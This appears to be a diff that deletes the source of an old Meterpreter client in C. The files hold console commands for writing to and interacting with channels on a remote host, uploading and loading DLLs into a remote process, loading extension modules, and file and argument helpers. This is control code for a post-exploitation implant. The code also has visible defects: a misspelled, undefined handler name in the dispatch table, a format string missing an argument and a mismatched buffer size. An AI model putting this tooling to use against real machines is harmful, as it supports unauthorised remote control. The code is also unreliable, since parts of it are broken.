bytesWritten, channel_get_id(channel));
|
||||
else
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: write failed, result %lu.\n",
|
||||
result);
|
||||
|
||||
console_write_prompt();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Writes the supplied text to the remote end of the channel
|
||||
*/
|
||||
DWORD cmd_write(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
ChannelCompletionRoutine complete;
|
||||
DWORD channelId = 0;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Channel *channel;
|
||||
DWORD length = 0;
|
||||
LONG bytesRead;
|
||||
PCHAR buffer = NULL;
|
||||
CHAR chunk[2048];
|
||||
|
||||
chunk[sizeof(chunk) - 1] = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Check to see if the supplied channel identifier is valid
|
||||
if (argc < 2)
|
||||
{
|
||||
console_write_output("Usage: write channel_id\n");
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
channelId = strtoul(argv[1], NULL, 10);
|
||||
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
console_write_output("Error: Could not locate channel %lu.\n",
|
||||
channelId);
|
||||
break;
|
||||
}
|
||||
|
||||
console_write_output("Enter text, terminate with single-line '.':\n");
|
||||
|
||||
/*
|
||||
* XXX: needs to not use stdin for non-cmd input
|
||||
*/
|
||||
while (fgets(chunk, sizeof(chunk) - 1, stdin))
|
||||
{
|
||||
PCHAR newBuffer;
|
||||
|
||||
if (chunk[0] == '.')
|
||||
break;
|
||||
|
||||
bytesRead = strlen(chunk);
|
||||
|
||||
if (!buffer)
|
||||
newBuffer = (PCHAR)malloc(bytesRead);
|
||||
else
|
||||
newBuffer = (PCHAR)realloc(buffer, length + bytesRead);
|
||||
|
||||
if (!newBuffer)
|
||||
{
|
||||
if (buffer)
|
||||
free(buffer);
|
||||
|
||||
buffer = NULL;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
memcpy(newBuffer + length, chunk, bytesRead);
|
||||
|
||||
buffer = newBuffer;
|
||||
length += bytesRead;
|
||||
}
|
||||
|
||||
if (!buffer)
|
||||
{
|
||||
console_write_output(
|
||||
"Error: No text was provided.\n");
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the completion routine
|
||||
memset(&complete, 0, sizeof(complete));
|
||||
|
||||
complete.routine.write = cmd_write_channel_complete;
|
||||
|
||||
// Read the data in.
|
||||
if ((res = channel_write(channel, remote, NULL, 0, buffer,
|
||||
length, &complete))
|
||||
== ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " CHANNEL: Writing %lu bytes to channel %lu...\n",
|
||||
length, channelId);
|
||||
else
|
||||
console_write_output("Error: channel_write failed, result %lu.\n", res);
|
||||
|
||||
free(buffer);
|
||||
|
||||
} while (0);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/******************
|
||||
* Command: close *
|
||||
******************/
|
||||
|
||||
/*
|
||||
* Closes a channel that was allocated with the remote endpoint
|
||||
*/
|
||||
DWORD cmd_close(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
DWORD channelId;
|
||||
Channel *channel;
|
||||
|
||||
do
|
||||
{
|
||||
if (argc == 1)
|
||||
{
|
||||
console_write_output(
|
||||
"Usage: close channel_id\n");
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
channelId = strtoul(argv[1], NULL, 10);
|
||||
|
||||
// Find the channel
|
||||
if (!(channel = channel_find_by_id(channelId)))
|
||||
{
|
||||
console_write_output("Error: Could not locate channel id %lu.\n",
|
||||
channelId);
|
||||
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
if ((res = channel_close(channel, remote, NULL, 0, NULL))
|
||||
== ERROR_SUCCESS)
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " CHANNEL: Closing channel %lu...\n", channelId);
|
||||
else
|
||||
console_write_output("Error: channel_close failed, result %lu.\n",
|
||||
res);
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*********************
|
||||
* Command: interact *
|
||||
*********************/
|
||||
|
||||
/*
|
||||
* Completion routine for when interact responds
|
||||
*/
|
||||
DWORD cmd_interact_complete(Remote *remote, Channel *channel,
|
||||
LPVOID context, DWORD result)
|
||||
{
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: Started interactive with channel %lu..\n\n",
|
||||
channel_get_id(channel));
|
||||
|
||||
console_set_interactive_channel(remote, channel);
|
||||
}
|
||||
else
|
||||
{
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: Failed to interact with channel %lu, result %lu.\n",
|
||||
channel_get_id(channel));
|
||||
|
||||
console_write_prompt();
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Switches to interactive mode with a a provided channel
|
||||
*/
|
||||
DWORD cmd_interact(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
ChannelCompletionRoutine complete;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Channel *channel;
|
||||
|
||||
do
|
||||
{
|
||||
if (argc == 1)
|
||||
{
|
||||
console_write_output(
|
||||
"Usage: interact channel_id\n");
|
||||
res = ERROR_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
// Try to find the channel context from the supplied identifier
|
||||
if (!(channel = channel_find_by_id(strtoul(argv[1], NULL, 10))))
|
||||
{
|
||||
console_write_output(
|
||||
"Error: The channel identifier %s could not be found.\n",
|
||||
argv[1]);
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " CHANNEL: Switching to interactive console on %lu.\n",
|
||||
channel_get_id(channel));
|
||||
|
||||
// Initialize the completion routine
|
||||
memset(&complete, 0, sizeof(complete));
|
||||
|
||||
complete.routine.interact = cmd_interact_complete;
|
||||
|
||||
// Interact with the channel
|
||||
res = channel_interact(channel, remote, NULL, 0, TRUE,
|
||||
&complete);
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*****************
|
||||
* Command: exit *
|
||||
*****************/
|
||||
|
||||
/*
|
||||
* Exit the client
|
||||
*/
|
||||
DWORD cmd_exit(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
exit(0);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/********************
|
||||
* Command: loadlib *
|
||||
********************/
|
||||
|
||||
/*
|
||||
* Load library completion routine
|
||||
*/
|
||||
DWORD cmd_loadlib_complete(Remote *remote, Packet *packet, LPVOID context,
|
||||
LPCSTR method, DWORD res)
|
||||
{
|
||||
return console_generic_response_output(remote, packet, "PROCESS", "loadlib");
|
||||
}
|
||||
|
||||
/*
|
||||
* Loads a library into the context of the remote process
|
||||
*/
|
||||
DWORD cmd_loadlib(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
PCHAR libraryPath = NULL, targetPath = NULL;
|
||||
PacketRequestCompletion complete;
|
||||
Packet *request = NULL;
|
||||
BOOL printBanner = FALSE;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
ArgumentContext arg;
|
||||
DWORD flags = 0;
|
||||
|
||||
// Zero the argument context
|
||||
memset(&arg, 0, sizeof(arg));
|
||||
|
||||
do
|
||||
{
|
||||
// No arguments?
|
||||
if (argc == 1)
|
||||
{
|
||||
printBanner = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
// Default to being a local (to the remote machine) library
|
||||
flags |= LOAD_LIBRARY_FLAG_LOCAL;
|
||||
|
||||
// Parse the supplied arguments
|
||||
while (args_parse(argc, argv, "f:t:lde", &arg) == ERROR_SUCCESS)
|
||||
{
|
||||
switch (arg.toggle)
|
||||
{
|
||||
case 'f':
|
||||
libraryPath = arg.argument;
|
||||
break;
|
||||
case 't':
|
||||
targetPath = arg.argument;
|
||||
break;
|
||||
case 'l':
|
||||
// Unset the local library flag
|
||||
flags &= ~(LOAD_LIBRARY_FLAG_LOCAL);
|
||||
break;
|
||||
case 'd':
|
||||
flags |= LOAD_LIBRARY_FLAG_ON_DISK;
|
||||
break;
|
||||
case 'e':
|
||||
flags |= LOAD_LIBRARY_FLAG_EXTENSION;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetPath)
|
||||
targetPath = libraryPath;
|
||||
|
||||
// Make sure that a library was supplied
|
||||
if (!libraryPath)
|
||||
{
|
||||
console_write_output(
|
||||
"Error: No library path was specified.\n");
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate the request packet
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
|
||||
"core_loadlib")))
|
||||
{
|
||||
console_write_output(
|
||||
"Error: Packet allocation failure.\n");
|
||||
break;
|
||||
}
|
||||
|
||||
// If the library is not local to the remote machine, parse the local
|
||||
// copy into a data buffer to be transmitted to the remote host
|
||||
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
|
||||
{
|
||||
PUCHAR buffer;
|
||||
ULONG length;
|
||||
|
||||
// Store the contents of the specified file in a buffer
|
||||
if ((res = buffer_from_file(libraryPath, &buffer, &length))
|
||||
!= ERROR_SUCCESS)
|
||||
{
|
||||
console_write_output(
|
||||
"Error: The local file could not be parsed, result %lu.\n",
|
||||
res);
|
||||
break;
|
||||
}
|
||||
|
||||
// Add the file's contents as a data tlv
|
||||
packet_add_tlv_raw(request, TLV_TYPE_DATA, buffer,
|
||||
length);
|
||||
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " PROCESS: Uploading local library '%s', %lu bytes.\n",
|
||||
libraryPath, length);
|
||||
|
||||
free(buffer);
|
||||
}
|
||||
|
||||
// Add the library path name & flags
|
||||
packet_add_tlv_string(request, TLV_TYPE_LIBRARY_PATH,
|
||||
libraryPath);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_FLAGS,
|
||||
flags);
|
||||
|
||||
if (targetPath)
|
||||
packet_add_tlv_string(request, TLV_TYPE_TARGET_PATH,
|
||||
targetPath);
|
||||
|
||||
console_write_output(
|
||||
OUTBOUND_PREFIX " PROCESS: Loading library from '%s' on remote machine.\n",
|
||||
targetPath ? targetPath : libraryPath);
|
||||
|
||||
// Initialize the completion routine
|
||||
memset(&complete, 0, sizeof(complete));
|
||||
|
||||
complete.routine = cmd_loadlib_complete;
|
||||
|
||||
// Transmit the request
|
||||
res = packet_transmit(remote, request, &complete);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (printBanner)
|
||||
{
|
||||
console_write_output(
|
||||
"Usage: loadlib -f library [ -t target ] [ -lde ]\n\n"
|
||||
" -f <file> The path to the library to load, whether local or remote.\n"
|
||||
" -t <targ> The target file on the remote machine in which to store the library when uploading.\n"
|
||||
" -l The library is local to the client machine, upload it to the remote machine.\n"
|
||||
" -d When used with -l, this parameter indicates that the library should be saved to disk.\n"
|
||||
" -e The library being loaded is a feature extension module, call its Init routine on load.\n");
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/****************
|
||||
* Command: use *
|
||||
****************/
|
||||
|
||||
/*
|
||||
* Use a feature module implementation, installing it both locally and remotely
|
||||
*/
|
||||
DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv)
|
||||
{
|
||||
LPCSTR module = NULL, path = NULL;
|
||||
PCHAR currentModule = NULL, comma;
|
||||
BOOL printBanner = FALSE;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
CHAR clientLibraryPath[1024];
|
||||
CHAR serverLibraryPath[1024];
|
||||
BOOL diskOnly = FALSE;
|
||||
ArgumentContext arg;
|
||||
CHAR *loadlibArgv[6];
|
||||
DWORD loadlibArgc = 0;
|
||||
|
||||
clientLibraryPath[sizeof(clientLibraryPath) - 1] = 0;
|
||||
serverLibraryPath[sizeof(serverLibraryPath) - 1] = 0;
|
||||
|
||||
memset(&arg, 0, sizeof(arg));
|
||||
|
||||
do
|
||||
{
|
||||
// No arguments?
|
||||
if (argc == 1)
|
||||
{
|
||||
printBanner = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
// Parse the supplied arguments
|
||||
while (args_parse(argc, argv, "m:p:d", &arg) == ERROR_SUCCESS)
|
||||
{
|
||||
switch (arg.toggle)
|
||||
{
|
||||
case 'm':
|
||||
module = arg.argument;
|
||||
break;
|
||||
case 'p':
|
||||
path = arg.argument;
|
||||
break;
|
||||
case 'd':
|
||||
diskOnly = TRUE;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// No module?
|
||||
if (!module)
|
||||
{
|
||||
printBanner = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
currentModule = (PCHAR)module;
|
||||
|
||||
// Enumerate through the comma delimited module list
|
||||
while (currentModule)
|
||||
{
|
||||
comma = strchr(currentModule, ',');
|
||||
|
||||
if (comma)
|
||||
*comma = 0;
|
||||
|
||||
// Populate the client and server path buffers
|
||||
_snprintf_s(clientLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1,
|
||||
"%s%sext_client_%s.dll",
|
||||
(path) ? path : "",
|
||||
(path) ? "\\" : "",
|
||||
currentModule);
|
||||
_snprintf_s(serverLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1,
|
||||
"%s%sext_server_%s.dll",
|
||||
(path) ? path : "",
|
||||
(path) ? "\\" : "",
|
||||
currentModule);
|
||||
|
||||
// Try to load the client library
|
||||
if ((res = module_load_client(remote, currentModule, clientLibraryPath))
|
||||
!= ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
console_write_output("Successfully loaded '%s' on the client.\n", currentModule);
|
||||
|
||||
loadlibArgc = 0;
|
||||
|
||||
loadlibArgv[loadlibArgc++] = "loadlib";
|
||||
|
||||
// Now load the library on the remote machine
|
||||
if (diskOnly)
|
||||
{
|
||||
// loadlib -f server_mod_path -e
|
||||
loadlibArgv[loadlibArgc++] = "-f";
|
||||
loadlibArgv[loadlibArgc++] = serverLibraryPath;
|
||||
loadlibArgv[loadlibArgc++] = "-e";
|
||||
}
|
||||
else
|
||||
{
|
||||
// loadlib -f server_mod_path -l -e
|
||||
loadlibArgv[loadlibArgc++] = "-f";
|
||||
loadlibArgv[loadlibArgc++] = serverLibraryPath;
|
||||
loadlibArgv[loadlibArgc++] = "-l";
|
||||
loadlibArgv[loadlibArgc++] = "-e";
|
||||
}
|
||||
|
||||
// Call the load library command
|
||||
res = cmd_loadlib(remote, loadlibArgc, loadlibArgv);
|
||||
|
||||
if (comma)
|
||||
{
|
||||
*comma = ',';
|
||||
currentModule = comma + 1;
|
||||
}
|
||||
else
|
||||
currentModule = NULL;
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (printBanner)
|
||||
{
|
||||
console_write_output(
|
||||
"Usage: use -m module1,module2,module3 [ -p path ] [ -d ]\n\n"
|
||||
" -m <mod> The names of one or more module(s) to load (e.g. 'net').\n"
|
||||
" -p <path> The path to load the module(s) from locally.\n"
|
||||
" -d Load the library from disk, do not upload.\n");
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
#include "metcli.h"
|
||||
|
||||
extern VOID remote_register_core_dispatch_routines();
|
||||
extern VOID remote_deregister_core_dispatch_routines();
|
||||
|
||||
// include the OpenSSL library
|
||||
#pragma comment(lib,"libeay32.lib")
|
||||
#pragma comment(lib,"ssleay32.lib")
|
||||
|
||||
|
||||
HANDLE clientLock = NULL;
|
||||
|
||||
/*
|
||||
* Entry point for the client
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
struct sockaddr_in s;
|
||||
Remote *remote = NULL;
|
||||
SOCKET cli;
|
||||
WSADATA data;
|
||||
|
||||
srand(time(NULL));
|
||||
|
||||
WSAStartup(0x0202, &data);
|
||||
|
||||
printf("ERROR: This client is out of date and does not support SSL\n");
|
||||
exit(0);
|
||||
|
||||
if (argc < 3)
|
||||
{
|
||||
printf("Usage: %s <host> <port>\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
if ((cli = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
|
||||
{
|
||||
fprintf(stderr, "listen: %lu\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
s.sin_family = AF_INET;
|
||||
s.sin_port = htons((SHORT)atoi(argv[2]));
|
||||
s.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
|
||||
printf("Connecting to %s:%d...\n", argv[1], atoi(argv[2]));
|
||||
|
||||
if (connect(cli, (struct sockaddr *)&s, sizeof(s)) < 0)
|
||||
{
|
||||
fprintf(stderr, "connect: %lu\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
printf("Initialized with server fd %lu.\n", cli);
|
||||
|
||||
if (!(remote = remote_allocate(cli)))
|
||||
{
|
||||
fprintf(stderr, "remote_allocate: %lu\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the console display
|
||||
console_initialize(remote);
|
||||
|
||||
// Register core remote dispatch routines
|
||||
remote_register_core_dispatch_routines();
|
||||
|
||||
// Process commands
|
||||
console_process_commands(remote);
|
||||
|
||||
// Deregister core remote dispatch routines
|
||||
remote_deregister_core_dispatch_routines();
|
||||
|
||||
} while (0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Initializes the global client lock
|
||||
*/
|
||||
VOID client_init_lock()
|
||||
{
|
||||
clientLock = CreateMutex(NULL, FALSE, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Acquires the global client lock
|
||||
*/
|
||||
VOID client_acquire_lock()
|
||||
{
|
||||
WaitForSingleObjectEx(clientLock, INFINITE, FALSE);
|
||||
}
|
||||
|
||||
/*
|
||||
* Releases the global client lock
|
||||
*/
|
||||
VOID client_release_lock()
|
||||
{
|
||||
ReleaseMutex(clientLock);
|
||||
}
|
@ -1,4 +0,0 @@
|
||||
EXPORTS
|
||||
scheduler_insert_waitable @1
|
||||
scheduler_remove_waitable @2
|
||||
scheduler_run @3
|
@ -1,13 +0,0 @@
|
||||
#ifndef _METERPRETER_CLIENT_METCLI_H
|
||||
#define _METERPRETER_CLIENT_METCLI_H
|
||||
|
||||
#include "../common/common.h"
|
||||
|
||||
#include "console.h"
|
||||
#include "module.h"
|
||||
|
||||
VOID client_init_lock();
|
||||
VOID client_acquire_lock();
|
||||
VOID client_release_lock();
|
||||
|
||||
#endif
|
@ -1,163 +0,0 @@
|
||||
#include "metcli.h"
|
||||
|
||||
typedef struct _ClientModule
|
||||
{
|
||||
LPSTR name;
|
||||
LPSTR path;
|
||||
HMODULE handle;
|
||||
|
||||
struct _ClientModule *prev;
|
||||
struct _ClientModule *next;
|
||||
} ClientModule;
|
||||
|
||||
ClientModule *clientModules = NULL;
|
||||
|
||||
/*
|
||||
* Load and initialize a client module
|
||||
*/
|
||||
DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path)
|
||||
{
|
||||
ClientModule *current = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
DWORD (*init)(Remote *remote);
|
||||
|
||||
do
|
||||
{
|
||||
// Allocate storage for tracking the module
|
||||
if (!(current = (ClientModule *)malloc(sizeof(ClientModule))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Zero the buffer
|
||||
memset(current, 0, sizeof(ClientModule));
|
||||
|
||||
current->name = _strdup(name);
|
||||
current->path = _strdup(path);
|
||||
|
||||
// Duplication of name/path failed?
|
||||
if ((!current->name) || (!current->path))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Try to load the library from the supplied path
|
||||
if (!(current->handle = LoadLibrary(current->path)))
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Try to find the initialization entry point
|
||||
if (!(init = (DWORD (*)(Remote *))GetProcAddress(current->handle,
|
||||
"InitClientExtension")))
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Initialize the module
|
||||
init(remote);
|
||||
|
||||
// Add the new module to the list
|
||||
if (clientModules)
|
||||
clientModules->prev = current;
|
||||
|
||||
current->next = clientModules;
|
||||
clientModules = current;
|
||||
|
||||
} while (0);
|
||||
|
||||
// Clean up on failure
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (current)
|
||||
{
|
||||
if (current->path)
|
||||
free(current->path);
|
||||
if (current->name)
|
||||
free(current->name);
|
||||
|
||||
free(current);
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate the list of modules, returning a pointer to the name at
|
||||
* the given index in the output parameter
|
||||
*/
|
||||
DWORD module_enumerate_client(DWORD index, LPCSTR *name)
|
||||
{
|
||||
ClientModule *current;
|
||||
DWORD cindex = 0;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
|
||||
for (current = clientModules, cindex = 0;
|
||||
cindex < index && current;
|
||||
cindex++, current = current->next);
|
||||
|
||||
if (current)
|
||||
*name = current->name;
|
||||
else
|
||||
res = ERROR_NOT_FOUND;
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Unload a previously loaded module of a given name
|
||||
*/
|
||||
DWORD module_unload_client(Remote *remote, LPCSTR name)
|
||||
{
|
||||
ClientModule *current = NULL, *prev = NULL;
|
||||
DWORD (*deinit)(Remote *remote);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
// Try to locate the module
|
||||
for (current = clientModules;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
if (!strcmp(current->name, name))
|
||||
break;
|
||||
}
|
||||
|
||||
// Not located?
|
||||
if (!current)
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
break;
|
||||
}
|
||||
|
||||
// Remove the module from the list
|
||||
if (prev)
|
||||
prev->next = current->next;
|
||||
else
|
||||
clientModules = current->next;
|
||||
|
||||
if (current->next)
|
||||
current->next->prev = prev;
|
||||
|
||||
// Call the module's deinitialization routine if it exports one
|
||||
if ((deinit = (DWORD (*)(Remote *))GetProcAddress(current->handle,
|
||||
"DeinitClientExtension")))
|
||||
deinit(remote);
|
||||
|
||||
// Deallocate & unload the module
|
||||
FreeLibrary(current->handle);
|
||||
|
||||
free(current->path);
|
||||
free(current->name);
|
||||
free(current);
|
||||
|
||||
} while (0);
|
||||
|
||||
return res;
|
||||
}
|
@ -1,8 +0,0 @@
|
||||
#ifndef _METERPRETER_SOURCE_CLIENT_MODULE_H
|
||||
#define _METERPRETER_SOURCE_CLIENT_MODULE_H
|
||||
|
||||
DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path);
|
||||
DWORD module_enumerate_client(DWORD index, LPCSTR *name);
|
||||
DWORD module_unload_client(Remote *remote, LPCSTR name);
|
||||
|
||||
#endif
|
@ -1,70 +0,0 @@
|
||||
#include "metcli.h"
|
||||
|
||||
|
||||
/*
|
||||
* Extension callback for printing out notifications for channels opening
|
||||
*/
|
||||
DWORD ex_remote_response_core_channel_open(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
if (channelId)
|
||||
{
|
||||
console_write_output(
|
||||
"\n"
|
||||
INBOUND_PREFIX " CHANNEL: New remote channel allocated: %lu.\n",
|
||||
channelId);
|
||||
|
||||
console_write_prompt();
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Extension callback for printing out notifications for when the remote
|
||||
* endpoint is telling us to close a channel
|
||||
*/
|
||||
DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
|
||||
|
||||
if (channelId)
|
||||
{
|
||||
// If an interactive channel is closing, reset it
|
||||
if (channelId == console_get_interactive_channel_id())
|
||||
console_set_interactive_channel(remote, NULL);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/****************************
|
||||
* Custom dispatch routines *
|
||||
****************************/
|
||||
|
||||
// Dispatch table
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open),
|
||||
COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
|
||||
/*
|
||||
* Registers custom command handlers
|
||||
*/
|
||||
VOID remote_register_core_dispatch_routines()
|
||||
{
|
||||
command_register_all(customCommands);
|
||||
}
|
||||
|
||||
/*
|
||||
* Deregisters previously registered custom commands
|
||||
*/
|
||||
VOID remote_deregister_core_dispatch_routines()
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
}
|
@ -1,105 +0,0 @@
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* Parses a file into a buffer
|
||||
*/
|
||||
DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length)
|
||||
{
|
||||
DWORD res, fileSize = 0, bytesRead = 0, bytesLeft = 0, offset = 0;
|
||||
PUCHAR localBuffer = NULL;
|
||||
HANDLE h;
|
||||
|
||||
if (buffer)
|
||||
*buffer = NULL;
|
||||
if (length)
|
||||
*length = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Try to open the file for reading
|
||||
if ((h = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Get the size, in bytes, of the file
|
||||
if (!(fileSize = GetFileSize(h, NULL)))
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate storage for the file data being read in
|
||||
if (!(localBuffer = (PUCHAR)malloc(fileSize)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
bytesLeft = fileSize;
|
||||
|
||||
// Keep reading file contents
|
||||
while ((bytesLeft) &&
|
||||
(ReadFile(h, localBuffer + offset, bytesLeft, &bytesRead, NULL)))
|
||||
{
|
||||
bytesLeft -= bytesRead;
|
||||
offset += bytesRead;
|
||||
}
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
|
||||
if (res == ERROR_SUCCESS)
|
||||
{
|
||||
if (buffer)
|
||||
*buffer = localBuffer;
|
||||
if (length)
|
||||
*length = offset;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Writes a buffer to a file
|
||||
*/
|
||||
DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length)
|
||||
{
|
||||
DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0;
|
||||
HANDLE h;
|
||||
|
||||
do
|
||||
{
|
||||
// Try to open the file for writing
|
||||
if ((h = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
bytesLeft = length;
|
||||
|
||||
// Keep writing until everything is written
|
||||
while ((bytesLeft) &&
|
||||
(WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL)))
|
||||
{
|
||||
bytesLeft -= bytesWritten;
|
||||
offset += bytesWritten;
|
||||
}
|
||||
|
||||
res = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
if (h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
|
||||
return res;
|
||||
}
|
@ -1,74 +0,0 @@
|
||||
/*!
|
||||
* @file args.c
|
||||
* @brief Definitions for argument parsing functionality.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*!
|
||||
* @brief Parse an argument vector by a parameter format specifier
|
||||
* @details Intended to be called repeatedly until all arguments are parsed.
|
||||
* Each call results in a single argument be parsed.
|
||||
* @param argc Number of arguments to in the argument list.
|
||||
* @param argv Array of arguments to parse.
|
||||
* @param params String of supported parameters. eg \c abc:de: Parameters
|
||||
* followed by a colon expect an associated argumetn
|
||||
* @param ctx Pointer to a context used to keep track of parsing.
|
||||
* @return Indication of whether parsing was successful.
|
||||
* @retval ERROR_NOT_FOUND The specified parameter wasn't found in the
|
||||
* argument list.
|
||||
* @retval ERROR_INVALID_PARAMETER The specified parameter was missing an
|
||||
associated argument.
|
||||
* @retval ERROR_SUCCESS The argument was parsed correctly.
|
||||
*/
|
||||
DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
|
||||
ArgumentContext *ctx)
|
||||
{
|
||||
DWORD index = 0;
|
||||
|
||||
if (!ctx->currentIndex)
|
||||
ctx->currentIndex = 1;
|
||||
|
||||
index = ctx->currentIndex;
|
||||
|
||||
// We've hit the end, return out.
